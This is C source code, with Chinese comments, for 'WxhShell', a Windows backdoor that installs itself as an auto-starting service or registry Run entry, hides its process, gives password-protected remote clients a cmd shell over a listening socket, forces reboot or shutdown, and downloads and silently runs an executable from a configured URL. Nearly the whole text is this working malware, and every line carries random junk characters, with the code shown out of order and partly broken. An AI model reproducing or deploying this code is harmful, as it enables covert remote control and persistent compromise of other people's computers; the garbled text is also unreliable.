    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T=? bdIl  
    if(Boot(SHUTDOWN)) C"T ,MH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uaQ&&5%%J  
    else { =O^7TrM  
    closesocket(wsh); \!X?zR_  
    ExitThread(0); ofEqvoi@  
    } tmxPO e  
    break; `QCD$=  
    } S.fXHtSx  
  // 获取shell 6bL"LM`s  
  case 's': { F|]rA*2u  
    CmdShell(wsh); !yCl(XT  
    closesocket(wsh); dx359  
    ExitThread(0); px&=((Z7>  
    break; mahi7eU P  
  } [oHOHp/V  
  // 退出 F> Mr<k=@;  
  case 'x': { M]s[ "0O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QBjY&(vY  
    CloseIt(wsh); <<BQYU)Ig  
    break; vadM1c*z  
    } )K.R\]XR  
  // 离开 :+pPr Gj"  
  case 'q': { lWl-@ *'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >#i $Tw  
    closesocket(wsh); JE%i-UVH+;  
    WSACleanup(); wR1K8b".DC  
    exit(1); >\-3P $  
    break; {1HB!@%,(  
        } zuj;T,R;  
  } <d<RK@2-  
  } }-@I#9  
tYI]=:  
  // 提示信息 $U mE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p d%LL?O  
} 7#/|VQX<A  
  } Dpp@*xX>  
r?XDvU  
  return; D99N#36PU  
} z5I^0'  
H!^C2  
// shell模块句柄 8|_K  
int CmdShell(SOCKET sock) 4}PeP^pj  
{ <e^6.!;W  
STARTUPINFO si; :EaiM J_=  
ZeroMemory(&si,sizeof(si)); )muv;Rf`e5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ma`w\8 a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8ST~$!z$  
PROCESS_INFORMATION ProcessInfo; -q|*M:R  
char cmdline[]="cmd"; \ 6jF{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T7X!#j" \  
  return 0; y#GCtkhi  
} @Yb Z 8Uc  
)uu wwz  
// 自身启动模式 +;5Wp$ M\  
int StartFromService(void) ,$SkaTBe  
{ {K6Kx36  
typedef struct |4LQ\'N&  
{ L)=8mF.  
  DWORD ExitStatus; c[6zX#{`  
  DWORD PebBaseAddress; E{?L= ^cU  
  DWORD AffinityMask; )SC`6(GW  
  DWORD BasePriority; xg4T` ])  
  ULONG UniqueProcessId; 9O2a | d  
  ULONG InheritedFromUniqueProcessId; )OS>9 kFH  
}   PROCESS_BASIC_INFORMATION; ($,iAb  
)62q|c9F  
PROCNTQSIP NtQueryInformationProcess; 'G3+2hah  
8p3ZF@c~ t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o4U]lK$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Rs^jk)Z:)  
a'o}u,e5  
  HANDLE             hProcess; 8dYk3 sk  
  PROCESS_BASIC_INFORMATION pbi; oT$(<$&<  
Bl:{p>-q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]Sk#a-^~  
  if(NULL == hInst ) return 0; zT2F&y q  
o$^O<zL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (bM)Nd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :$+D 2*(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m7weR>aS4  
wGZ>iLe:  
  if (!NtQueryInformationProcess) return 0; :4Id7Ce  
 rytGr9S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y8{T.\%\+  
  if(!hProcess) return 0; JuKk"tr~RB  
I%.jc2kK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QfKR pnj(o  
A} x_zt  
  CloseHandle(hProcess); u-]vK  
58a)&s[+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7<Z~\3x  
if(hProcess==NULL) return 0; v3=&{}+j.  
?HEo9/ *7  
HMODULE hMod; oP 6.t-<dU  
char procName[255]; ({ :yw  
unsigned long cbNeeded; .I f"'hMY  
8YT_DM5iI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \#IJ=+z   
Dohl,d  
  CloseHandle(hProcess); Xs.$2  
S|O%h}AH;  
if(strstr(procName,"services")) return 1; // 以服务启动 P@o,4\;K  
BXKlO(7  
  return 0; // 注册表启动 e|OG-t[$*  
} fF9;lWt  
$\JQGic`  
// 主模块 Wme1Uid  
int StartWxhshell(LPSTR lpCmdLine) k:(e79  
{ ~(*co[_  
  SOCKET wsl; Q8M:7#ySji  
BOOL val=TRUE; F|h ,a;2  
  int port=0; S>vVjq?~l(  
  struct sockaddr_in door; Q KDb  
)edU <1P  
  if(wscfg.ws_autoins) Install(); 0& SrKn  
Ot4;,UZ  
port=atoi(lpCmdLine); 2s]]!{Z#  
wj";hAw  
if(port<=0) port=wscfg.ws_port; +lk\oj$S+  
eKU@>5  
  WSADATA data; ;_Of`C+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s$+: F$Y0  
-?2&5YB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   US*<I2ZLh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y<Z#my$`|n  
  door.sin_family = AF_INET; \V!X& a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L`VQ{|&3V  
  door.sin_port = htons(port); )Zu Q;p  
,sRrV $,"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,& pF:ql F  
closesocket(wsl); 3gfV0C\  
return 1; 2Xq!'NrS  
} $'I$n  
HnKF#<  
  if(listen(wsl,2) == INVALID_SOCKET) { l#5k8+s  
closesocket(wsl); t"Vr;0!{  
return 1; IZ(CRKCGBl  
} \Im \*A   
  Wxhshell(wsl); ^w.(*;/  
  WSACleanup(); k0Vo  
59%f|.Z)  
return 0; NXG}0`QVT  
T\b";+!W  
} 4- ?`#  
^VLUZ  
// 以NT服务方式启动 J1v0 \  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~%!U,)-  
{ RWm Q]  
DWORD   status = 0; z6>ZV6(d2^  
  DWORD   specificError = 0xfffffff; (qc!-Isd~[  
eABdy e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "'p+qbT8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  pmpn^ZR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vM>`CZ  
  serviceStatus.dwWin32ExitCode     = 0; A1s=;qr  
  serviceStatus.dwServiceSpecificExitCode = 0; />j+7ts  
  serviceStatus.dwCheckPoint       = 0; KA*l6`(  
  serviceStatus.dwWaitHint       = 0; Xe^=(| M  
p/^\(/\])  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L|xen*O  
  if (hServiceStatusHandle==0) return; V/wc[p ~  
"GC]E8&>H  
status = GetLastError(); lO[jf6gB  
  if (status!=NO_ERROR) YPJx/@Z`  
{ $}"Wta  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `F`'b)  
    serviceStatus.dwCheckPoint       = 0; ah$7 Oudj  
    serviceStatus.dwWaitHint       = 0; hm} :Me$[)  
    serviceStatus.dwWin32ExitCode     = status; kG7,1teMk  
    serviceStatus.dwServiceSpecificExitCode = specificError; x%?*]*W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H2R^t{ w  
    return;  F3r  
  } {{)[Ap)  
1AkHig,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  3usA  
  serviceStatus.dwCheckPoint       = 0; )Ai%wCzw*  
  serviceStatus.dwWaitHint       = 0; WHj4#v(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tVh4v#@+  
} +mW$D@Pf  
o0+BQ&A)s*  
// 处理NT服务事件,比如:启动、停止 la{:RlW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d`][1rZk  
{ 9^*YYK}%  
switch(fdwControl) !U~#H_  
{ NX #d}M^V  
case SERVICE_CONTROL_STOP: o*ED!y7  
  serviceStatus.dwWin32ExitCode = 0; r Q@o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Cspm\F  
  serviceStatus.dwCheckPoint   = 0; I=Dk'M  
  serviceStatus.dwWaitHint     = 0; 2_~XjwKE  
  { EKJ4_kkjM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dX}dO)%m{  
  } MxA'T(Ay  
  return; UNLNY,P/!)  
case SERVICE_CONTROL_PAUSE: }Fe{s;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JkDZl?x5  
  break; 5va&N<U  
case SERVICE_CONTROL_CONTINUE: V>j`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s31_3?Vdf,  
  break; ]8nm9qmF<  
case SERVICE_CONTROL_INTERROGATE: I{ZPv"9j^  
  break; _ll aH  
}; 0$Db@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fv'P!+)t  
} Ywq+l]5/p  
-2Cf)>`v  
// 标准应用程序主函数 4J|t}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5kZ yiC*  
{ fx"+ZR  
Z`KXXlJ^i  
// 获取操作系统版本 r>@/XYK&\  
OsIsNt=GetOsVer(); !+ hgKZ]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \-id[zKb  
T mE4p  
  // 从命令行安装 K1nwv"  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~?+m=\  
yC$7XSr=  
  // 下载执行文件 o*BI^4  
if(wscfg.ws_downexe) { =W^L8!BE'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^Exq=oV  
  WinExec(wscfg.ws_filenam,SW_HIDE); f^)nZ:~  
} jM<Ihmh|  
3goJ(XI  
if(!OsIsNt) { ?q&mI*j!  
// 如果时win9x,隐藏进程并且设置为注册表启动 yKhzymS}T  
HideProc(); J0plQDe  
StartWxhshell(lpCmdLine); BJr Nbo;T  
} =D$r5D/xd  
else j"=jK^  
  if(StartFromService()) @C)h;TR  
  // 以服务方式启动 >p:fWQ6  
  StartServiceCtrlDispatcher(DispatchTable); [=!MS?-G  
else _9 O'  
  // 普通方式启动 :HQ/vVw'"9  
  StartWxhshell(lpCmdLine); hY9u#3  
rnaDo\5  
return 0; 4(ZV\}j1  
} DZZt%n8J  
5E|2 S_)G  
y~ LVK8  
j(2T,WM  
=========================================== J z b".A  
gC 4#!P  
6*Qpq7Ml  
(#`o >G(  
rP_)*)  
gC-0je  
" u9(AT>HxT  
fXj  
#include <stdio.h> 5}ah%  
#include <string.h> X2Mj|_#u  
#include <windows.h> C3gz)!3  
#include <winsock2.h> @I:&ozy }=  
#include <winsvc.h> ,Fiiw  
#include <urlmon.h> ,//=yW  
_>I5Ud8(-  
#pragma comment (lib, "Ws2_32.lib") LPF?\mf ^4  
#pragma comment (lib, "urlmon.lib") ^u{$$.&  
&|eQLY #l  
#define MAX_USER   100 // 最大客户端连接数 y 6< tV.  
#define BUF_SOCK   200 // sock buffer k9]n/  
#define KEY_BUFF   255 // 输入 buffer *^()el,d  
"?-s Qn  
#define REBOOT     0   // 重启 Yw0@O1Cel  
#define SHUTDOWN   1   // 关机 WkE;tC*  
cyyFIJj]  
#define DEF_PORT   5000 // 监听端口 &baY[[N  
g= 8e.Y*Fr  
#define REG_LEN     16   // 注册表键长度 db|$7]!w  
#define SVC_LEN     80   // NT服务名长度 6yqp<D0SP)  
<LY+" Y  
// 从dll定义API zT"#9"["  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S0cO00_ob  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _45"Z}Zx  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J%'|IwA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Xo b##{P3  
yFjSvm6  
// wxhshell配置信息 "^`AS"z'  
struct WSCFG { =9-c*bL  
  int ws_port;         // 监听端口 R}FN6cH  
  char ws_passstr[REG_LEN]; // 口令 [PT}!X7h  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]h6<o*  
  char ws_regname[REG_LEN]; // 注册表键名 GU`2I/R  
  char ws_svcname[REG_LEN]; // 服务名 D@e:Fu1\R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i fUgj8i_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cqDnZ`|6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E),T,   
int ws_downexe;       // 下载执行标记, 1=yes 0=no fqxMTTg@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O#g31?TO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :s\s3#?  
n7vi@^lf(  
}; lOZZ-  
h1$,  
// default Wxhshell configuration }tN"C 3)@  
struct WSCFG wscfg={DEF_PORT, ~7|z2L  
    "xuhuanlingzhe", sy;~(rpg  
    1, 7o3f5"z  
    "Wxhshell", %y'#@%kO:S  
    "Wxhshell", P$Nwf,d2u  
            "WxhShell Service", S"*wP[d.9  
    "Wrsky Windows CmdShell Service", hz!.|U@,{<  
    "Please Input Your Password: ", p)`JVq,H/B  
  1, G"]'`2.m  
  "http://www.wrsky.com/wxhshell.exe", Ktoxl+I?  
  "Wxhshell.exe" c ;VW>&,B  
    }; \O56!,k  
t5S S]  
// 消息定义模块 6v-h!1p{u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ==& =3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ] '..G-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8WMC ~  
char *msg_ws_ext="\n\rExit."; 92EvCtf  
char *msg_ws_end="\n\rQuit."; c(fwl`y !x  
char *msg_ws_boot="\n\rReboot..."; B--`=@IRf"  
char *msg_ws_poff="\n\rShutdown..."; b$hQB090  
char *msg_ws_down="\n\rSave to "; ?(Nls.c  
ral0@\T  
char *msg_ws_err="\n\rErr!"; k7?(I U  
char *msg_ws_ok="\n\rOK!"; `3~w#?+=*  
b?z8Yp6  
char ExeFile[MAX_PATH]; /J^yOR9  
int nUser = 0; 9!tRM-  
HANDLE handles[MAX_USER]; 7C=t19&R'  
int OsIsNt; Tw$lakw  
Vx'_fb?wap  
SERVICE_STATUS       serviceStatus; 9i n&\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :2La,  
xRb-m$B}L  
// 函数声明 ?g 1%-F+  
int Install(void); [!"u&iu`  
int Uninstall(void); ."dmL=  
int DownloadFile(char *sURL, SOCKET wsh); >k"/:g^t  
int Boot(int flag); IYd)Vv3'j  
void HideProc(void); 6:Ra3!V"v  
int GetOsVer(void); 7 yK >  
int Wxhshell(SOCKET wsl); vI4St;  
void TalkWithClient(void *cs); vtmvvv  
int CmdShell(SOCKET sock); :WE(1!P@  
int StartFromService(void); P'[w9'B  
int StartWxhshell(LPSTR lpCmdLine); 1N2s[ \q$  
_jp8;M~Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9M<{@<]dm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -[Q%Vv!8  
!$P&`n]@  
// 数据结构和表定义 Pn0V{SJOJ%  
SERVICE_TABLE_ENTRY DispatchTable[] = ]*?qaIdqu  
{ A#*0mJ8IK  
{wscfg.ws_svcname, NTServiceMain}, @wb V@  
{NULL, NULL} u9J;OsnHK  
}; C,.$g>)MZK  
0Db#W6*^  
// 自我安装 lj(}{O  
int Install(void) A~u-Iv(U  
{ .xS}/^8iD  
  char svExeFile[MAX_PATH]; R["_Mff  
  HKEY key; #7GbG\  
  strcpy(svExeFile,ExeFile); ?J|~ G{yH  
>O?5mfMK  
// 如果是win9x系统,修改注册表设为自启动 QOMh"wC3  
if(!OsIsNt) { y]yp8Bs+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Gz@'W%6yaV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7YrX3Hx 8  
  RegCloseKey(key); vzG(u_,9[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -:&qNY:Vp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q<dZy? f  
  RegCloseKey(key); s%GhjWZS  
  return 0; 4fgA3%  
    } se2ay_<F+  
  } P >HEV a  
} w|7<y8#qC  
else { *%bQp  
uDbz`VpK  
// 如果是NT以上系统,安装为系统服务 Q)#+S(TG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0x*L"HD  
if (schSCManager!=0) D<78Tm x  
{ ED [` Y.;  
  SC_HANDLE schService = CreateService 9q(*'rAm  
  ( <KlG#7M>  
  schSCManager, RX3P %xZ  
  wscfg.ws_svcname, v47Y7s:uQ  
  wscfg.ws_svcdisp, 8bd&XieE  
  SERVICE_ALL_ACCESS, Sxa+"0d6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Wz',>&a  
  SERVICE_AUTO_START, >,wm-4&E  
  SERVICE_ERROR_NORMAL, $)8b)Tb  
  svExeFile, U= QfInB  
  NULL, (pJ-_w' G  
  NULL, uczOSd  
  NULL, XR3=Y0YDf  
  NULL, D',[M)  
  NULL {]ie|>'=C  
  ); N{w)}me[YY  
  if (schService!=0) EFSln*|  
  { Pv,Q*gh`  
  CloseServiceHandle(schService); oP vk ^H  
  CloseServiceHandle(schSCManager); Kw_> X&GcJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9O1#%  
  strcat(svExeFile,wscfg.ws_svcname); WCJ$S\#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { av~dH=&=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S&N[@G  
  RegCloseKey(key); FyY<Vx'yQ  
  return 0; x=]PE}<E  
    } /a@gE^TM  
  } rRgP/E#_  
  CloseServiceHandle(schSCManager); [ed6n@/O@  
} pH!e<m  
} &ZmWR  
z86[_l:  
return 1; gK7bP'S8H  
} _ljdo`j#N  
OZ2YflT  
// 自我卸载 BTi:Bcv k  
int Uninstall(void) c0}* $e  
{ ]m&cVy&  
  HKEY key; $w%n\t>B  
fiG/ "/u  
if(!OsIsNt) { 0{0BL@H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X=_`$ 0  
  RegDeleteValue(key,wscfg.ws_regname); (?[^##03MN  
  RegCloseKey(key); !LDuCz -  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H!uB&qY  
  RegDeleteValue(key,wscfg.ws_regname); YI0ubB  
  RegCloseKey(key); )3 C~kmN7  
  return 0; n\CQ-*;l  
  } [,_4#Zz  
} C B&$tDi  
} ea7l:(C  
else { E}&Z=+v}  
8}5dyn{cvE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6@N?`6Bt  
if (schSCManager!=0) X }UR\8g  
{ #A&(b}#:o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X0IXj%\N  
  if (schService!=0) F?>rWP   
  { 4|PNsHXt  
  if(DeleteService(schService)!=0) { i]sz*\P~  
  CloseServiceHandle(schService);  ^##tk  
  CloseServiceHandle(schSCManager); YbX3_N&  
  return 0; P8Nzz(JF  
  } y}TiN!M  
  CloseServiceHandle(schService); _4H}OGZI  
  } Ujw J}j  
  CloseServiceHandle(schSCManager); ?z "fp$  
} !sbKJ+V7  
} ~KtA0BtC  
_ 9@D o6  
return 1; y]z^e\qc)  
} i Eh -  
EqY e.dF,  
// 从指定url下载文件 }digw(  
int DownloadFile(char *sURL, SOCKET wsh) @I`X{oAA  
{ BPFd'- O)  
  HRESULT hr; ve#*qz Y  
char seps[]= "/"; oN0p$/La  
char *token; m %mA0r  
char *file; {|{}]B  
char myURL[MAX_PATH]; 1Tn0$+$.4  
char myFILE[MAX_PATH]; J|ni'Hb  
t")+ L{  
strcpy(myURL,sURL); 'eKvt5&@  
  token=strtok(myURL,seps); !>%U8A  
  while(token!=NULL) st8=1}:&\  
  { %TO=]>q  
    file=token; :j sa.X  
  token=strtok(NULL,seps); iti~RV,  
  } bo;;\>k  
I(i/|S&^  
GetCurrentDirectory(MAX_PATH,myFILE); $?38o6  
strcat(myFILE, "\\");  8(.DI/  
strcat(myFILE, file); KK}?x6wV0,  
  send(wsh,myFILE,strlen(myFILE),0); H,/|pP.  
send(wsh,"...",3,0); @@!Mt~\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 95`Q=I|i  
  if(hr==S_OK) ]e*Zx;6oi  
return 0; H|E{n/g  
else >g):xi3qK  
return 1; @ y{i.G  
&}TfJ=gj  
} Mn<G9KR  
RoL5uha,l  
// 系统电源模块 kG =nDy  
int Boot(int flag) .GJl@==~1  
{ qb rf;`  
  HANDLE hToken; ^H0`UKE  
  TOKEN_PRIVILEGES tkp; A578g  
{l/]+8G^  
  if(OsIsNt) { (IAc*V~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o6H\JCne  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  QuJ~h}k  
    tkp.PrivilegeCount = 1; e ]@Ex  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uO4kCK<7C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'f+g`t?  
if(flag==REBOOT) { aJnZco6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &VY(W{\eY  
  return 0; Hk65c0  
} 2TR l @  
else { ZBDEE+8e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f8>S<:  
  return 0; 9J"Y   
} 3 cd5 g  
  } b4_"dg~gK  
  else { "82<}D^;  
if(flag==REBOOT) {  (h"Yw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /eM_:H5  
  return 0; %-zAV*>  
} 8QFn/&Ql$B  
else { }v0IzGKs  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {{FA "NW  
  return 0; Z;/"-.i  
} 2>s@2=Aq  
} 'O#,;n  
Y,v8eOo45S  
return 1; =~Ac=j!q  
} 8&AHu  
hFC4CqBV  
// win9x进程隐藏模块 $,vZX u|Qw  
void HideProc(void) w|6;Pf~1y)  
{ _$OhV#LKG  
uUAib<wdPL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UX-l`ygl  
  if ( hKernel != NULL ) <h_lc}o/  
  { vXUrS+~x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SE0"25\_G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'E/vE0nN?  
    FreeLibrary(hKernel); b";w\H  
  } +C~,q{u  
dXKv"*7l  
return; >$gWeFu  
} AHws5#;$6*  
I,{9vew  
// 获取操作系统版本 *+p9u 1B5  
int GetOsVer(void) cmQLkT"#K  
{ t I9$m[  
  OSVERSIONINFO winfo; 9v(&3,)a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =2VM(GtK>  
  GetVersionEx(&winfo); [CH%(#>i~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =1o_:VOG  
  return 1; YW@Ad  
  else 8-cB0F=j_  
  return 0; xUYUOyV  
} u7!X#<  
YoD1\a|  
// 客户端句柄模块 5 ^}zysY`  
int Wxhshell(SOCKET wsl) l?_Iu_Qp  
{ KZn\ iwj  
  SOCKET wsh; f\ oB/  
  struct sockaddr_in client; V@jR8zv|_  
  DWORD myID; ;4nz'9+  
YQ>M&lnQ<  
  while(nUser<MAX_USER) Aa* UV6(v  
{ d+KLtvB%M  
  int nSize=sizeof(client); WU-.lg'c'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rj"oz"  
  if(wsh==INVALID_SOCKET) return 1; < C\snB  
;o;P2}zD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4#mRLs'  
if(handles[nUser]==0) oDp!^G2A"  
  closesocket(wsh); YPAMf&jEF  
else 1F'j .1  
  nUser++; < J=9,tv<  
  } >JVZ@ PV H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g7k|Ho-W  
R9gK>}>Y  
  return 0; ^9eJ)12pK  
} SP9_s7LL  
*a xOen  
// 关闭 socket MyZ@I7Fb,  
void CloseIt(SOCKET wsh) #SQao;>  
{ ,u|vpN  
closesocket(wsh); ^B2>lx\n  
nUser--; ml 7]s N(  
ExitThread(0); HT/zcd)}#  
} d^X;XVAvP  
<5MnF  
// 客户端请求句柄 &eq>>  
void TalkWithClient(void *cs) ~4o2!!^tI  
{ F+Og8^!  
 ^G{3x  
  SOCKET wsh=(SOCKET)cs; [ aj F  
  char pwd[SVC_LEN]; g"|QI=&_J  
  char cmd[KEY_BUFF]; A?8f 6  
char chr[1]; WE \912j  
int i,j; bLoAtI  
[gFpFz|b<  
  while (nUser < MAX_USER) { [;II2[5 ,  
V%?oI]" l  
if(wscfg.ws_passstr) { tF SO"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XRVE8v+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?!1K@/!  
  //ZeroMemory(pwd,KEY_BUFF); qsXK4`  
      i=0; 'mj0+c$  
  while(i<SVC_LEN) {  q%,q"WU  
hZ!N8nWwNR  
  // 设置超时 a6"Pe07t  
  fd_set FdRead; iZGc'y  
  struct timeval TimeOut; DLe?@R5  
  FD_ZERO(&FdRead); )s1W)J?8  
  FD_SET(wsh,&FdRead); x2+%.$'  
  TimeOut.tv_sec=8; NxVqV5 '  
  TimeOut.tv_usec=0; roYoxF;\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !'(bwbd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hv te)  
l)GV&V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a)GL z  
  pwd=chr[0]; !vHUe*1a{  
  if(chr[0]==0xd || chr[0]==0xa) { DSad[>Uj],  
  pwd=0; vtG_ A{l  
  break; F`-|@k  
  } 3{ i'8  
  i++; {tMpI\>S  
    } v|`f8M2  
.%;UP7g  
  // 如果是非法用户,关闭 socket "WR)a`$UR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B P%>J^  
} :Lqz`  
:VC#\/f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q:@$$}FjL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EaGh`*"w(7  
XZhuV<  
while(1) { =z^v)=uhp  
=FQ]eb*  
  ZeroMemory(cmd,KEY_BUFF); `=^;q 6f  
/ 2>\Z(  
      // 自动支持客户端 telnet标准   !Vl>?U?AN  
  j=0; p*E_Po  
  while(j<KEY_BUFF) { (5rH 72g(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FI{9k(  
  cmd[j]=chr[0]; YpMQY-n  
  if(chr[0]==0xa || chr[0]==0xd) { )B.NV<m  
  cmd[j]=0; JPW+(n|g  
  break; i&\N_PUm[  
  } }6b=2Z}  
  j++; +"rZ<i  
    } ?kvkkycI   
S@;>lw,s!  
  // 下载文件 +[M5x[[$  
  if(strstr(cmd,"http://")) { 67Rsd2   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k ]C+/  
  if(DownloadFile(cmd,wsh)) bSsX)wHm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); OJe#s;oH  
  else {t`UV,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i{TErJ{}e  
  } "MZj}}l  
